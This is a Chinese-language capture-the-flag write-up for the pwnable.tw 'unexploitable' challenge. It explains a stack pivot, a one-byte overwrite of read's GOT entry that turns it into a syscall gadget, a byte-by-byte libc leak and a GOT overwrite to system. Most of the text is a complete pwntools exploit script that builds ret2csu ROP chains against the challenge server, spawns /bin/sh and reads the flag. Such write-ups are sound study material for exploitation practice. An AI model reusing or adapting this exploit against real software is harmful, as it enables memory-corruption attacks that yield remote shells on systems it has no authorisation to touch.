[pwnable.tw] unexploitable - 利用微偏移在read库函数中找syscall gadget
分析
这题和pwnable.kr原题的差别在于程序本身没有了syscall
这个gadget,需要另找别处。题目给了read和栈溢出,栈迁移是少不了的。考虑到GOT表可写,并且关于read的库实现有个可以利用的gadget:在read库函数起始位置+0xe
的时候有一个syscall
,并且只要返回值正常,后面会接上ret
(重点!)。
思路
由分析可知,这题的关键在于控制read库函数+
0xe
处的gadget进行地址泄露。这个偏移只需要往read的got表地址写一个字节,同时写完这个字节后RAX
的值刚好变成1
,也就是SYS_write
的系统调用号。当下一次再调用read
时就会变成write;得到write之后需要泄露
__libc_start_main
的got表值来计算libc基址。注意最好一个一个字节泄露,一次泄露多个字节会导致RAX
过大,后续不方便控制。每次write一个字节可以保证RAX
始终为1
;完成泄露后还需要切换回
SYS_read
把算出来的system
地址写入read_got
中,最后传入提前写好的/bin/sh
参数地址来getshell。这一步只需要write(1, addr, 0)
输出0个字节,RAX
的值就会变回0
,也就是SYS_read
的系统调用号;环境很坑,每次输入前尝试把sleep时间调长一点,否则会出现read不进去的情况。
EXP
from pwn import *
import time
#p = process("./unexploitable", env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10403)
elf = ELF("./unexploitable")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"
# const
offset_byte = b"\x0e" # read offset to syscall
# addr
bss_addr = 0x601028
main_addr = 0x400544
read_plt = elf.symbols[b"read"]
read_got = elf.got[b"read"]
sleep_got = elf.got[b"sleep"]
libc_start_main = elf.got[b"__libc_start_main"]
# gadget
csu_gadget_1 = 0x4005e6
csu_gadget_2 = 0x4005d0
pop_rbp_ret = 0x400512
leave_ret = 0x400576
def csu_rop(rbx:int, rbp:int, call:int, rdi:int, rsi:int, rdx:int):
rop = p64(csu_gadget_1)
rop += p64(0) #padding
rop += p64(rbx) #rbx
rop += p64(rbp) #rbp
rop += p64(call) #r12->call addr
rop += p64(rdi) #r13->edi
rop += p64(rsi) #r14->rsi
rop += p64(rdx) #r15->rdx
rop += p64(csu_gadget_2)
rop += b"\x00"*0x38 #pad
return rop
def exp():
#gdb.attach(p, "b *0x400576\nc\n")
#gdb.attach(p, "b system\nc\n")
# migrate stack to bss && call read
target_stack_1 = bss_addr + (0x100-0x8) # also write /bin/sh
payload1 = b"a"*0x10 + p64(0xdeadbeef)
payload1 += p64(csu_gadget_1)
payload1 += p64(0) #padding
payload1 += p64(0) #rbx
payload1 += p64(1) #rbp
payload1 += p64(read_got) #r12->call addr
payload1 += p64(0) #r13->edi
payload1 += p64(target_stack_1) #r14->rsi
payload1 += p64(0x600) #r15->rdx
payload1 += p64(csu_gadget_2)
payload1 += b"\x00"*0x38 #pad
payload1 += p64(pop_rbp_ret) #set rbp
payload1 += p64(target_stack_1+0x8)
payload1 += p64(leave_ret) # migrate
print("len(payload1):", hex(len(payload1)))
p.sendline(payload1)
#pause()
time.sleep(7)
# read payload to target_stack_1
payload2 = b"/bin/sh\x00"
payload2 += p64(0xdeadbeef) #new rbp
payload2 += csu_rop(0, 1, read_got, 0, read_got, 1) # modify LSB of read_got
for i in range(6):
payload2 += csu_rop(0, 1, read_got, 1, libc_start_main+i, 1) # leak sleep_got
payload2 += csu_rop(0, 1, read_got, 1, libc_start_main, 0) # make RAX=0
payload2 += csu_rop(0, 1, read_got, 0, read_got, 0x8) # make read_got -> system
payload2 += csu_rop(0, 1, read_got, target_stack_1, 0, 0) # system("/bin/sh")
payload2 += p64(main_addr)
print("len(payload2):", hex(len(payload2)))
p.sendline(payload2)
#pause()
time.sleep(7)
p.send(b"\x7e")
time.sleep(4)
sleep_addr = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = sleep_addr - libc.symbols[b"__libc_start_main"]
system = libc_base + libc.symbols[b"system"]
print("sleep_addr:", hex(sleep_addr))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
#pause()
time.sleep(7)
p.send(p64(system))
p.sendline("cat /home/*/flag")
p.recvall()
if __name__ == "__main__":
exp()